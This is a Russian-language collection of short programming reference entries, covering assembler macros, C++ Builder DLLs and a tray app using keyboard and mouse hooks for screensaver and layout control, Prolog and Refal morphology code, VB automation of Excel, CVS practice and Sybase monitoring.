    Вначале производится обнуление счётчика параметров самого макроопределения (число этих параметров может быть произвольным). Теперь в сегменте данных создадим метку с тем именем, которое передано в макроопределение в качестве первого параметра. Имя метки формируется путём конкатенации символов @@ и названия вектора. Достигается это за счёт использования оператора &. Например, если передать имя TestLabel, то название метки примет вид: @@TestLabel. Сразу за объявлением метки вызывается другое макроопределение MessageVector, в которое передаются все остальные параметры, которые должны быть ничем иным, как списком сообщений, подлежащих обработке в процедуре окна. Структура макроопределения MessageVector проста и бесхитростна. Она извлекает первый параметр и в ячейку памяти формата dword заносит код сообщения. В следующую ячейку памяти формата dword записывается адрес метки обработчика, имя которой формируется по описанному выше правилу. Счётчик сообщений увеличивается на единицу. Далее следует рекурсивный вызов с передачей ещё не зарегистрированных сообщений, и так продолжается до тех пор, пока список сообщений не будет исчерпан. Сейчас в макроопределении WndMessage можно начинать обработку. Теперь существо обработки, скорее всего, будет понятно без дополнительных пояснений. Обработка сообщений в Windows не является линейной, а, как правило, представляет собой иерархию. Например, сообщение WM_COMMAND может заключать в себе множество сообщений поступающих от меню и/или других управляющих элементов. Следовательно, данную методику можно с успехом применить и для других уровней каскада и даже несколько упростить её. Действительно, не в наших силах исправить код сообщений, поступающих в процедуру окна или диалога, но выбор последовательности констант, назначаемых пунктам меню или управляющим элементам (controls) остаётся за нами. В этом случае нет нужды в дополнительном поле, которое сохраняет код сообщения. Тогда каждый элемент вектора будет содержать только адрес обработчика, а найти нужный элемент весьма просто.Из полученной константы, пришедшей в сообщении, вычитается идентификатор первого пункта меню или первого управляющего элемента, это и будет номер нужного элемента вектора. Остаётся только сделать переход на обработчик. Вообще тема макроопределений весьма поучительна и обширна. Мне редко доводится видеть грамотное использование макросов и это досадно, поскольку с их помощью можно сделать работу в ассемблере значительно проще и приятнее.

    Машинный перевод

    Данный способ перевода заключается в алгоритмической обработке исходного текста, в ходе которой происходит разбор сегментов, выделяются отдельные термины и отношения между ними, после чего осуществляется замена всех терминов на соответствующие термины целевого языка в нужной форме и взаиморасположении. Машинный перевод (MachineTranslation) применим только в очень узком контексте и требует значительного постредактирования переведенного текста.

    Масштабируемость

    Использование распределенных инстанций Flora/C+ для исполнения приложений означает принципиальную возможность реализации масштабируемых решений, а наличие встроенных средств слабого и сильного взаимодействия между объектами дерева объектов обеспечивает приемлемую трудоёмкость реализации соответствующих распределенных приложений.

    Механизм сборки всей системы – кто написал этот не компилирующийся файл?!

    Процессу сборки следует уделить внимание в первые же дни реализации проекта. Дело в том, что программисты предпочитают работать в разных оболочках для редактирования и компиляции исходных кодов от простого текстового редактора notepad до сложного и многофункционального решения, такого как Together. Вследствие чего придется каждому из них постоянно возиться с настройками процесса компиляции. И это будет постоянной проблемой, так как по мере реализации проекта процесс сборки системы усложняется и обычно кардинально меняется. Руководителю проекта следует внедрить единый для всех инструмент для сборки проекта и разместить сценарий сборки системы в репозитарии CVS. Таким образом, любой из программистов, получив посредством CVS последнюю версию сценария сборки, сможет без проблем собрать всю систему у себя на рабочем месте и в любой момент модернизировать этот сценарий в случае изменения сценария сборки подсистемы, которую он реализует. Возможно, что один из программистов лучше всех разбирается в сценарии сборки, и другие обращаются к нему за помощью при изменении сценария. Сборку системы следует производить в начале рабочего дня, после того как все программисты отослали последние версии своих файлов на CVS. К сожалению, после сборки и запуска системы выявляются конфликты и ошибки, на устранение которых уходит какое-то время (рискну сказать - четверть рабочего дня).

    Менеджер проектов

    Файлы, образующие приложение - формы и модули - собраны в проект. Менеджер проектов показывает списки файлов и модулей приложения и позволяет осуществ ять навигацию между ними. Можно вызвать менеджер проектов , выбрав пункт меню View/Project Manager. По умолчанию вновь созданный проект получает имя Project1.cpp. Менеджер проектов Рис.5. Менеджер проектов По умолчанию проект первоначально содержит файлы для одной формы и исходного кода одного модуля. Однако большинство проектов содержат несколько форм и модулей. Чтобы добавить модуль или форму к проекту, нужно щелкнуть правой кнопкой мыши и выбрать пункт New Form из контекстного меню. Можно также добавлять существующие формы и модули к проекту, используя кнопку Add контекстного меню менеджера проектов и выбирая модуль или форму, которую нужно добавить. Формы и модули можно удалить в любой момент в течение разработки проекта. Однако, из-за того, что форма связана всегда с модулем, нельзя удалить одно без удаления другого, за исключением случая, когда модуль не имеет связи с формой. Удалить модуль из проекта можно, используя кнопку Remove менеджера проектов. Если выбрать кнопку Options в менеджере проектов, откроется диалоговая панель опций проекта, в которой можно выбрать главную форму приложения, определить, какие формы будут создаваться динамически, каковы параметры компиляции модулей (в том числе созданных в Delphi 2.0, так как C++ Builder может включать их в проекты) и компоновки. Менеджер проектов Рис. 6. Установка опций проекта Важным элементом среды разработки C++ Builder является контекстное меню, появляющееся при нажатии на правую клавишу мыши и предлагающее быстрый доступ к наиболее часто используемым командам. Разумеется, C++ Builder обладает встроенной системой контекстно-зависимой помощи, доступной для любого элемента интерфейса и являющейся обширным источником справочной информации о C++ Builder.

    MetaBASE как средство решения проблем доступа к метаданным

    MetaBASE представляет собой набор утилит и визуальных компонент для Delphi 1.0,2.0,2.01,3.0, выпущенный компанией gs-soft и поставляемый в комплекте с ERwin (Logic Works). Назначение этого набора - предоставить объектно-ориентированный доступ к модели данных ERwin в процессе разработки и выполнения клиентских приложений, создаваемых с помощью Delphi. Осуществляется этот доступ за счет создания специализированного словаря данных (в терминологии авторов продукта - Metamodel), отличного от словаря данных Delphi 2.0, который, c одной стороны, поддерживает двунаправленный обмен метаданными с ER-диаграммой формата .erx с помощью специальной утилиты, а, с другой стороны, доступен для использования набором поставляемых в комплекте визуальных компонент для доступа к данным, которые, в свою очередь, являются полноценной заменой стандартным компонентам из комплекта поставки Delphi, хотя и не исключают их использования в приложении. Отметим, что пользователи 16-разрядной версии Delphi, количество которых в нашей стране еще, видимо, долго будет достаточно велико, при использовании MetaBASE получают отсутствующий в этой версии, но для многих желанный словарь данных. За счет этого метаданные постоянно доступны в процессе разработки и выполнения приложения. Поэтому возможна модификация модели данных и, соответственно, серверной части информационной системы без модификации клиентских приложений, так как визуальные компоненты MetaBASE, используемые в приложении, адаптируются к изменениям в модели данных.. При этом повышается скорость разработки приложений и упрощается модернизация и сопровождение информационной системы даже в случае сложных моделей данных, так как программист в этом случае избавлен от необходимости написания кода, реализующего бизнес-логику приложения.

    Методы

    Метод является функцией, которая связана с компонентом, и которая объявляется как часть объекта. Создавая обработчики событий, можно вызывать методы, используя следующую нотацию: ->, например: Edit1->Show(); Отметим, что при создании формы связанные с ней модуль и заголовочный файл с расширением *.h генерируются обязательно, тогда как при создании нового модуля он не обязан быть связан с формой (например, если в нем содержатся процедуры расчетов). Имена формы и модуля можно изменить, причем желательно сделать это сразу после создания, пока на них не появилось много ссылок в других формах и модулях.

    Метрики и измерения

    Данный миф утверждает возможность умозаключений, "хорошее" ли ПО разработано, на основе цифровых оценок, относящихся как непосредственно к коду, так и к процессу его разработки. Но можно ли точно определить, что значит "хороший" код? Для большинства специалистов код хорош тогда, когда он реализует вычисление необходимой функции желаемым способом (например, корректно и с ограничениями, накладываемыми исполнением в реальном времени). При этом понятие "хороший" не связано напрямую с тем, как код структурирован и тем более с тем, как он выглядит - оно прежде всего относится к семантике функции, реализованной данным фрагментом кода. Так как структурные методы семантику не измеряют, они не могут показать, насколько код хорош . В еще большей степени это относится к метрикам процессов. Одно время считалось, что метрики могут измерять семантику, но это оказалось не так. К тому же, как выяснилось, уже собранные метрики не так просто интерпретировать в практических терминах, что необходимо для реального улучшения процесса разработки. Интересно, что метрики кода больше подходят для оценки качества процесса разработки, чем самого кода. Важно также понимать, что метрики обеспечивают косвенную меру, вообще говоря, неизмеряемых свойств. Например, невозможно измерить "тестируемость" и "сопровождаемость" программы. Зато легко установить количество строк кода. Ясно, что программа длиной в одну строку будет иметь лучшие характеристики тестируемости и сопровождаемости по сравнению с программой в миллион строк, и метрика "число строк кода" это покажет. Лучше следовать эмпирическому правилу (для многих неочевидному): метрики не могут дать универсальных рецептов построения качественного ПО; они обеспечивают лишь направление дальнейшего поиска решений.

    Мягкое аварийное переключение (Graceful failover)

    Для обработки ситуаций, когда адрес подсети как будто соответствует заданным критериям корпоративной сети, но там, где в соответствии со сценарием должен находиться сценарий регистрации, последний отсутствует, используется мягкое аварийное переключение. Этот термин означает, что если сценарий мониторинга для выполнения регистрации не может запустить сценарий регистрации, все сообщения об ошибках подавляются, и выполнение сценария продолжается. Мягкое аварийное переключение, позволяющее продолжать выполнение сценария в тех случаях, когда обнаружить сценарий регистрации невозможно, обеспечивается операторами On Error Resume Next и Err.clear в метке E. Одна из ситуаций, предусматривающих использование мягкого аварийного переключения, возникает при разрыве сетевого соединения. Служба WMI извещает об этом событии сценарий мониторинга для выполнения регистрации, поскольку класс _InstanceOperationEvent фиксирует события удаления. Возвращаемый объект содержит атрибуты только что удаленного соединения. Еще одна аварийная ситуация возникает в том случае, когда компьютер, выполняющий сценарий мониторинга для осуществления регистрации, подключен к сети, IP-адрес которой соответствует адресу целевой сети, но, тем не менее, данная сеть целевой сетью не является (это может быть сеть Internet-провайдера или сеть другой корпорации). В такой ситуации сценарий попытается запустить сценарий регистрации, но не сможет его отыскать. Наконец, бывают ситуации, когда совпадения связаны с устройствами, не подключенными к корпоративной сети. К примеру, нередко типы соединений через инфракрасные порты имеют IP-адреса, которые могут совпадать с адресами заданных корпоративных подсетей. Вам придется изменить те строки Листинга 1 и Листинга 2, где содержатся ссылки на совместно используемое имя и на имя сценария мониторинга для выполнения регистрации так, чтобы они соответствовали используемым в сети именам. Возможно, вы сочтете необходимым на время тестирования снабдить строку On Error Resume Next комментарием, чтобы иметь возможность перехватывать ошибки в значениях параметров.

    Многоуровневая модель памяти переводов

    Представление данных Структура реально используемых ныне реализаций памяти перевода является одноуровневой и подразумевает наличие упорядоченного списка языковых пар. С введением механизма выделения в парах общих частей подобная организация данных окажется неудобной. Действительно, для любых двух пересекающихся языковых пар в базе будет создаваться дополнительный элемент, содержание которого будет полностью дублироваться в обеих языковых парах. От избыточности удастся избавиться, если удалить вынесенную общую часть из обеих пар, а на ее место поставить ссылку на вновь созданную языковую пару (рис. 1). Многоуровневая модель памяти переводов Рис. 1 Повторяя данную процедуру каждый раз, когда обнаруживается очередное пересечение, мы, в конечном счете, получим направленный граф, узлами которого являются языковые пары, а дугами- отношения включения. Еще одной оптимизацией является разделение исходного и целевого сегментов каждой языковой пары. Это имеет смысл, поскольку не так уж редки случаи, когда одна и та же исходная фраза переводится на целевой язык по-разному, что порождает две языковые пары с одинаковым первым элементом. Помимо этого, пересечения исходных и целевых сегментов не всегда изоморфны, и их результаты не обязательно образуют языковую пару. Поэтому разделим языковые пары, и получим два ориентированных графа, "синхронизированных" друг относительно друга (рис. 2). При этом отношения, связывающие вершины разных графов, могут быть различной местности, но обязательно обладают свойством симметричности. Многоуровневая модель памяти переводов Рис. 2 Развивая идею дальше, вспомним, что в нашем распоряжении уже имеется аппарат, позволяющий формализовать представленную схему. Это- объектно-ориентированный подход. В самом деле, каждому сегменту в базе может быть сопоставлен отдельный класс, отношение включения по своим свойствам идентично отношению наследования, а горизонтальные связи, формирующие языковые пары могут быть заданы механизмом ассоциирования, либо введением в класс метода Translate ("перевести"). Тем не менее, предложенная модель пока что не описывает внутреннюю структуру сегментов, которую необходимо анализировать при создании новой языковой пары на основе пересечения существующих.
    Для решения этой задачи разобьем все сегменты на отдельные слова (по пробелам). Теперь каждый сегмент может быть представлен классом, являющимся производным от всех слов, образующих текст сегмента. При этом совершенно необязательно иметь перевод для каждого слова, поскольку это будет отражено лишь отсутствием соответствующей связи между узлами графов, а метод Translate будет возвращать "нулевое" значение. Памятуя о том, что в состав среды перевода помимо памяти переводов входит также терминологический словарь, деление сегментов можно осуществлять не по словам, а по терминам. Наличие терминологического словаря дает и еще одну возможность. Для каждого вхождения термина в сегмент можно определить его начальную форму, то есть ту, в которой он входит в базу словаря. Эта начальная форма послужит как бы абстрактным базовым классом для каждого вхождения термина, а конкретное вхождение будет содержать определение значений заданных в базовом классе атрибутов: род, число, падеж и т. п. Последнее нововведение подталкивает нас к мысли о том, терминологический словарь можно слить воедино с памятью переводов, представив, тем самым, все ресурсы переводчика в виде универсальной модели (рис. 3). Многоуровневая модель памяти переводов Рис. 3

    Модели взаимодействия программ при помощи сообщений

    Системы очередей сообщений позволяют программам отправлять и получать данные, не соединяясь друг с другом напрямую. Приложения изолируются друг от друга транспортным слоем, который состоит из менеджеров очередей, обеспечивающих коммуникации. С помощью очередей сообщений можно реализовать как традиционные модели взаимодействия программ (клиент-сервер), так и модели, которые создаются только при помощи сервиса сообщений. Архитектура клиент/сервер. Запросы клиента передаются в виде сообщений в серверную очередь. После обработки запроса приложение-сервер отправляет ответ в виде нового сообщения в очередь, указанную клиентом. Асинхронное взаимодействие. При использовании очередей сообщений взаимодействующие приложения не обязательно должны быть одновременно активны. Программа может отправить сообщение другому приложению, которое обработает его, когда сочтет нужным. Отправив сообщение, программа может не ожидать ответа, а продолжать выполнять другие задачи. Запуск программы. Сообщение, посланное одной прикладной программой, может инициировать старт другой. В таком случае по команде программы-монитора запускается приложение-адресат, которое обрабатывает сообщение. Параллельная и распределенная обработка. Исполнение прикладного процесса может быть распределено между несколькими прикладными программами. Старт, координация между программами и консолидация результатов обработки на разных системах реализуются путем пересылки сообщений через очереди. Архитектура публикация-подписка. Прикладные программы-публикаторы посылают в виде сообщения менеджеру очередей свою информацию с указанием темы. Другие приложения - подписчики присылают заявки на информацию по темам. Полученные публикации распределяются в соответствии с темами между подписчиками через очереди сообщений специальной программой - брокером.

    Мониторинг ASE

    Мониторы Sybase Central собирают информацию о характеристиках ASE и отображают ее в виде графиков и таблиц. Системные администраторы и DBA могут использовать эту информацию для:
  • Определения потенциально узких мест
  • Исследования текущих проблем
  • Определения объектов, вовлеченных в конфликт
  • Определения объектов, которые можно улучшить, используя кэш или назначая устройство
  • Тонкой настройки ASE, приложений и хранимых процедур для лучшей производительности
  • Анализа структуры данных и индексов Мониторы
    ASE Plug-in для Sybase Central содержит 14 мониторов. ASE release 11.5.1 будет включать дополнительно Process Current SQL Statement Monitor, который будет показывать SQL-выражения и план запроса, выполняющиеся в данный момент в выбранном процессе.
    Наименование монитора Описание
    Application Activity Monitor Показывает информацию о ресурсах верхнего уровня для запущенных в данный момент приложений.
    Cache Monitor Показывает информацию о процедурном кэше и кэше данных.
    Data Cache Monitor Показывает общую загрузку и уровни эффективности 10 наиболее активных буферов данных (включая поименованные кеши данных и встроенный кеш).
    Device I/O Monitor Показывает буфер (не страничный) загрузки ввода/вывода устройств, определенных для ASE.
    Engine Activity Monitor Показывает текущую загрузку CPU в разрезе задач обработки данных.
    Memory Utilization Monitor Отображает график распределения памяти.
    Network Activity Monitor Показывает значения и размер коммуникационных пакетов, использующихся для связи ASE и клиентов, а также некоторые параметры сетевого трафика.
    Object Lock Status Monitor Показывает детальную информацию о текущих блокировках.
    Object Page I/O Monitor Показывает статистику физических и логических страницах ввода/вывода таблиц, влючая системные и временные, и индексов.
    Performance Summary Monitor Отображает обобщенные показатели производительности.
    Performance Trends Monitor Графическое отображение наиболее значимых статистических выборок параметров производительности, определяемых пользователем.
    Process Activity Monitor Показывает информацию о ресурсах текущего процесса.
    Stored Procedure Activity Monitor Отображает метрику выполняемых в данный момент процедур и триггеров.
    Transaction Activity Monitor Выводит обобщенную информацию о транзакциях, выполняемых под управлением ASE.
    На рисунках приведены примеры Performance Summary Monitor и Object Lock Status Monitor
    Мониторинг ASE
    Performance Summary Monitor
    Мониторинг ASE
    Object Lock Status Monitor

    Morfolog.shtml

    Компьютерный морфологический разбор слов русского языка. Ермолаев Д.С., Москва,

    Ключевые слова. Разбор текста на русском языке компьютером. Интерфейсы на естественном языке. Морфологический разбор слов. Морфология слов русского языка. Интеллектуальный поиск текстов. Применение данной статьи важно для тех, кто хочет сделать интерфейс к своей программе на естественном языке или сделать интеллектуальный поиск информации. Для этого нужно в первую очередь сделать морфологический анализ слов текста. Тогда не нужно будет иметь обширный словарь слов в разных словоформах. Достаточно запомнить основное слово в словаре, а входной поток слов подвергать морфологическому анализу, с тем, чтобы все слова преобразовать к начальным словоформам. Пример. пользователь ввел в базу знаний свою информацию "фирма РиК. наша фирма продает тару картонную". Модуль морфологического разбора преобразует эту информацию к следующему виду: "фирма. РиК. мой фирма продать тара картонный". С точки зрения смысла получилась бессмыслица. Но для компьютера - самый раз, это будет видно дальше. Теперь, другой пользователь вводит для поисковой системы запрос "продает тару картонную". Этот запрос будет так же преобразован в "продать тара картонный". И теперь исполнив простой поиск по совпадению, система поиска выдаст ранее запомненную информацию: "фирма Рик. продать...". Однако здесь было бы лучше запомнить первоначальную информацию клиента с правильными словоформами и выдать только её. Морфология слов русского языка определяется по аффиксу - окончанию и суффиксу слова. Назовем это правило правилом морфологического разбора. Однако есть слова, которые имеют окончание, подходящее для некоторой формы слова, но являются совершенно другой формой. Например, "-ать" говорит что слово есть глагол (прыгать, бежать). Но есть слово "кровать", которое есть существительное. Значит, из правила морфологического разбора есть исключения. Так же есть слова, которые не изменяют свою форму.
    Например, предлоги, "не", наречия, "столь" и т.д. Значит, есть дополнения к правилу морфологического разбора. Эти дополнения можно представить как исключения из правила. Таким образом мы пришли к определенному логическому описанию морфологического разбора слов. Для создания компьютерной программы здесь лучше всего подойдет логический язык программирования. Рассмотри два из них. Пример программы морфологического разбора слов на логическом языке программирования ПРОЛОГ. ------------------------------------ /* программа по распознаванию морфологии слов русского языка */ /* по окончанию слова */ /* язык программирования ПРОЛОГ */ domains Слово = string predicates морфология(Слово,Слово Основа) nondeterm исключение(Слово,Слово Основа) nondeterm правило(Слово Аффикс, Слово АффиксОсновы) nondeterm аффикс(Слово Корень, Слово, Слово Аффикс) clauses /* база знаний */ /* исключения из правила разбора слова для "неправильных" слов */ исключение("рек","река"). исключение("сел","сесть"). /* правила разбора для правильных слов */ /* для глаголов */ правило("нули","ать"). правило("нул","ать"). правило("еть","ать"). правило("ает","ать"). правило("ал","ать"). правило("ул","ать"). правило("ули","ать"). /* для прилагательных */ правило("вая","вый"). правило("вые","вый"). правило("ая","ой"). правило("ие","ой"). правило("ую","ой"). /* предикат осуществляющий перебор всех вариантов */ /* аффиксов для этого слова */ аффикс("",Аффикс,Аффикс). аффикс(Корень,Слово,Аффикс):- frontchar(Слово,Буква,Слово1), аффикс(Корень1,Слово1,Аффикс), frontchar(Корень,Буква,Корень1). /* сначала просмотри все исключения */ морфология(Слово,Осн):- исключение(Слово,Осн),!. /* если не удачно, то переберем все аффиксы слова */ морфология(Слово,Осн):- аффикс(Корень,Слово,Аффикс), правило(Аффикс,АффиксиОсн), concat(Корень,АффиксиОсн,Осн),!. /* если неудачно, то значит слово несклоняемо */ морфология(Слово,Слово):-!. /* вызов процедури морфологического разбора */ Goal морфология("зеленую",Слово).


    Ответ ПРОЛОГА: Слово = "зеленый" Как видно, в программе всего 13 строчек, а остальное база знаний. Теперь посмотрим как справится с этой задачей РЕФАЛ. Пример на логическом языке программирования РЕФАЛ - 5: ----------------------- /* программа по распознаванию морфологии слов руссского языка */ /* по окончанию и приставке слова */ /* язык программирования РЕФАЛ 5 */ /* автор Ермолаев Д.С. dimonas_long@yahoo.com */ /* ввод одного слова с консоли */ $ENTRY Go { = ) >>; }; /* таблица1. слова, которые имеют неправильное окончание */ WordsMissTable { = ( ('сел') 'сесть' ) ( ('рек') 'чего' ) } ; /* таблица2. окончания, по которым можно определить основу */ CompletionTable { = /* для глаголов */ ( ('нули') 'ать') ( ('нул') 'ать') ( ('ает') 'ать') ( ('еть') 'ать') ( ('еч') 'ать') ( ('ал') 'ать') ( ('ел') 'ать') /* для прилагательных */ ( ('вые') 'вый') ( ('вая') 'вый') ( ('ая') 'ой') ( ('ие') 'ой') ( ('ую') 'ой') }; /* сама программа распознавания морфологической формы слова */ Question { /* берем слово и ищем подходящее по шаблону в таблице1 */ (e.Word), : e.L((e.Word)e.Qst)e.R = e.Qst; /* иначе, бере окончание слова и ищем по шаблону в таблице2 */ (e.1 e.End), : e.L((e.End)e.Qst)e.R = e.1 e.Qst ; /* иначе, слово неизменяемо */ (e.1) = e.1; }; Программа на РЕФАЛЕ состоит из трех предложений! Интересно, сколько бы предложений программы пришлось бы написать для решения такой задачи на алгоритмическом языке? Например С++? Ермолаев Д.С., Москва,


    Можно ли из программы на Visual Basic создать рабочую книгу Excel?

    Q: Можно ли из программы на Visual Basic создать рабочую книгу Excel? A: Да, можно….. Пример того, как из Visual Basic'a через OLE запустить Excel,  и создать рабочую книгу... ' CreateXlBook
    ' Вызывает MS Excel, создает рабочую книгу с именем sWbName с одним
    ' единственным рабочим листом. Рабочая книга будет сохранена в каталоге
    ' sDirName. В случае успеха возвращает True, в противном случае - False.
    '
    Public Function CreateXlBook(sWbName As String, sDirName) As Boolean   ' MS Excel hidden instance
      Dim objXLApp As Object
      Dim objWbNewBook As Object   CreateXlBook = False   Set objXLApp = CreateObject("Excel.Application")
      If objXLApp Is Nothing Then Exit Function   ' В новой рабочей книге создавать только один рабочий лист
      objXLApp.SheetsInNewWorkbook = 1   Set objWbNewBook = objXLApp.Workbooks.Add
      If objWbNewBook Is Nothing Then Exit Function   ' Сохраняем книгу
      If vbNullString = Dir(sDirName, vbDirectory) Then Exit Function   objWbNewBook.SaveAs (sDirName + "\" + sWbName + ".xls")
      CreateXlBook = True   ' Освобождение памяти
      Set objWbNewBook = Nothing
      objXLApp.Quit
      Set objXLApp = Nothing
      CreateXlBook = True End Function Hint: Tested and approved with MS Visual Basic 4.0 Enterprise Edition Coрyright(c) 1997 by Andrew Kirienko.
    E-Mail:
    FidoNet: 2:5020/239.21 А также огромное спасибо: Michael Zemlaynukha, (2:5015/4.9@FidoNet, )
    -  за полезные замечания и здоровую критику этого FAQ'а

    Написание DLL.

    Создание пустой библиотеки. С++ Builder имеет встроенный мастер по созданию DLL. Используем его, чтобы создать пустую библиотеку. Для этого надо выбрать пункт меню File->New: В появившемся окне надо выбрать "DLL Wizard" и нажать кнопку "Ok". В новом диалоге в разделе "Source Type" следует оставить значение по умолчанию - "C++". Во втором разделе надо снять все флажки. После нажатия кнопки "Ок" пустая библиотека будет создана. Глобальные переменные и функция входа (DllEntryPoint). Надо определить некоторые глобальные переменные, которые понадобятся в дальнейшем. #define UP 1// Состояния клавиш #define DOWN 2 #define RESET 3 int iAltKey; // Здесь хранится состояние клавиш int iCtrlKey; int iShiftKey; int KEYBLAY;// Тип переключения языка bool bSCRSAVEACTIVE;// Установлен ли ScreenSaver MOUSEHOOKSTRUCT* psMouseHook; // Для анализа сообшений от мыши В функции DllEntryPoint надо написать код, подобный нижеприведённому: if(reason==DLL_PROCESS_ATTACH)// Проецируем на адр. простр. { HKEY pOpenKey; char* cResult=""; // Узнаём как перекл. раскладка long lSize=2; KEYBLAY=3; if(RegOpenKey(HKEY_USERS,".Default\\keyboard layout\\toggle", &pOpenKey)==ERROR_SUCCESS) { RegQueryValue(pOpenKey,"",cResult,&lSize); if(strcmp(cResult,"1")==0) KEYBLAY=1; // Alt+Shift if(strcmp(cResult,"2")==0) KEYBLAY=2; // Ctrl+Shift RegCloseKey(pOpenKey); } else MessageBox(0,"Не могу получить данные о способе" "переключения раскладки клавиатуры", "Внимание!",MB_ICONERROR); //------------- Есть ли активный хранитель эрана if(!SystemParametersInfo(SPI_GETSCREENSAVEACTIVE,0,&bSCRSAVEACTIVE,0)) MessageBox(0,"Не могу получить данные об установленном" "хранителе экрана", "Внимание!",MB_ICONERROR); } return 1; Этот код позволяет узнать способ переключения языка и установить факт наличия активного хранителя экрана. Обратите внимание на то, что этот код выполняется только когда библиотека проецируется на адресное пространство процесса - проверяется условие (reason==DLL_PROCESS_ATTACH). Если вас интересуют подробности, то их можно узнать в разделе справки "Win32 Programmer's Reference" в подразделе "DllEntryPoint".

    Написание хороших журнальных записей

    Если можно использовать `cvs diff', чтобы получить точное содержание любого изменения, то зачем тогда придумывать еще журнальную запись о нем? Очевидно, что журнальные записи короче, чем тексты изменений, и позволяют читателю получить общее понимание изменения без необходимости углубляться в детали. Однако же, хорошая запись в журнале описывает причину, по которой было сделано изменение. Например, плохая журнальная запись для редакции 1.7 может звучать как "Преобразовать `t' к нижнему регистру". Это правильно, но бесполезно -- `cvs diff' предоставляет точно ту же информацию, и гораздо яснее. Гораздо лучшей журнальной записью было бы "Сделать эту проверку независящей от регистра", потому что это гораздо яснее описывает причину любому, кто понимает, что происходит в коде --- клиенты HTTP должны игнорировать регистр букв при анализе заголовков ответа от сервера.

    Написание приложения, устанавливающего ловушку.

    Создание пустого приложения. Для создания пустого приложения воспользоваться встроенным мастером. Для этого надо использовать пункт меню File->New: В появившемся окне необходимо выбрать "Console Wizard" и нажать кнопку "Ok". В новом диалоге в разделе "Source Type" следует оставить значение по умолчанию - "C++". Во втором разделе надо снять все флажки. По нажатию "Ок" приложение создаётся. Создание главного окна. Следующий этап - это создание главного окна приложения. Сначала надо зарегистрировать класс окна. После этого создать окно (подробности можно найти в "Win32 Programmer's Reference" в подразделах "RegisterClass" и "CreateWindow"). Всё это делает следующий код (описатель окна MainWnd определён глобально): BOOL InitApplication(HINSTANCE hinstance,int nCmdShow) { // Создание главного окна WNDCLASS wcx; // Класс окна wcx.style=NULL; wcx.lpfnWndProc=MainWndProc; wcx.cbClsExtra=0; wcx.cbWndExtra=0; wcx.hInstance=hinstance; wcx.hIcon=LoadIcon(hinstance,"MAINICON"); wcx.hCursor=LoadCursor(NULL,IDC_ARROW); wcx.hbrBackground=(HBRUSH)(COLOR_APPWORKSPACE); wcx.lpszMenuName=NULL; wcx.lpszClassName="HookWndClass"; if(RegisterClass(&wcx)) // Регистрируем класс { MainWnd=CreateWindow("HookWndClass","SSHook", /* Создаём окно */ WS_OVERLAPPEDWINDOW, CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT,CW_USEDEFAULT, NULL,NULL,hinstance,NULL); if(!MainWnd) return FALSE; return TRUE; } return false; } Обратите внимание на то, каким образом был получен значок класса: wcx.hIcon=LoadIcon(hinstance,"MAINICON"); Для того, чтобы это получилось надо включить в проект файл ресурсов (*.res), в котором должен находиться значок с именем "MAINICON". Это окно никогда не появится на экране, поэтому оно имеет размеры и координаты, устанавливаемые по умолчанию. Оконная процедура такого окна необычайно проста: LRESULT CALLBACK MainWndProc(HWND hwnd,UINT uMsg,WPARAM wParam, LPARAM lParam) {// Оконная процедура switch (uMsg) { case WM_DESTROY:{PostQuitMessage(0); break;} //------------ case MYWM_NOTIFY: { if(lParam==WM_RBUTTONUP) PostQuitMessage(0); break; // Правый щелчок на значке - завершаем } default: return DefWindowProc(hwnd,uMsg,wParam,lParam); } return 0; } Размещение значка в системной области. Возникает естественный вопрос: если окно приложения никогда не появится на экране, то каким образом пользователь может управлять им (например, закрыть)? Для индикации работы приложения и для управления его работой поместим значок в системную область панели задач.
    Делается это следующей функцией: void vfSetTrayIcon(HINSTANCE hInst) { // Значок в Tray char* pszTip="Хранитель экрана и раскладка";// Это просто Hint NotIconD.cbSize=sizeof(NOTIFYICONDATA); NotIconD.hWnd=MainWnd; NotIconD.uID=IDC_MYICON; NotIconD.uFlags=NIF_MESSAGE|NIF_ICON|NIF_TIP; NotIconD.uCallbackMessage=MYWM_NOTIFY; NotIconD.hIcon=LoadIcon(hInst,"MAINICON"); lstrcpyn(NotIconD.szTip,pszTip,sizeof(NotIconD.szTip)); Shell_NotifyIcon(NIM_ADD,&NotIconD); } Для корректной работы функции предварительно нужно определить уникальный номер значка (параметр NotIconD.uID) и его сообщение (параметр NotIconD.uCallbackMessage). Делаем это в области определения глобальных переменных: #define MYWM_NOTIFY (WM_APP+100) #define IDC_MYICON 1006 Сообщение значка будет обрабатываться в оконной процедуре главного окна (NotIconD.hWnd=MainWnd): case MYWM_NOTIFY: { if(lParam==WM_RBUTTONUP) PostQuitMessage(0); break; // Правый щелчок на значке - завершаем } Этот код просто завершает работу приложения по щелчку правой кнопкой мыши на значке. При завершении работы значок надо удалить: void vfResetTrayIcon() {// Удаляем значок Shell_NotifyIcon(NIM_DELETE,&NotIconD); } Установка и снятие ловушек. Для получения доступа в функциям ловушки надо определить указатели на эти функции: LRESULT CALLBACK (__stdcall *pKeybHook)(int,WPARAM,LPARAM); LRESULT CALLBACK (__stdcall *pMouseHook)(int,WPARAM,LPARAM); После этого спроецируем написанную DLL на адресное пространство процесса: hLib=LoadLibrary("SSHook.dll"); (hLib описан как HINSTANCE hLib). После этого мы должны получить доступ к функциям ловушек: (void*)pKeybHook=GetProcAddress(hLib,"KeyboardHook"); (void*)pMouseHook=GetProcAddress(hLib,"MouseHook"); Теперь всё готово к постановке ловушек. Устанавливаются они с помощью функции SetWindowsHookEx: hKeybHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)(pKeybHook),hLib,0); hMouseHook=SetWindowsHookEx(WH_MOUSE,(HOOKPROC)(pMouseHook), hLib,0); (hKeybHook и hMouseHook описаны как HHOOK hKeybHook; HOOK hMouseHook;) Первый параметр - тип ловушки (в данном случае первая ловушка для клавиатуры, вторая - для мыши).Второй - адрес процедуры ловушки. Третий - описатель DLL-библиотеки. Последний параметр - идентификатор потока, для которого будет установлена ловушка. Если этот параметр равен нулю (как в нашем случае), то ловушка устанавливается для всех потоков. После установки ловушек они начинают работать. При завершении работы приложения следует их снять и отключить DLL. Делается это так: UnhookWindowsHookEx(hKeybHook); UnhookWindowsHookEx(hMouseHook); // Завершаем FreeLibrary(hLib);

    Настройка вашего репозитория

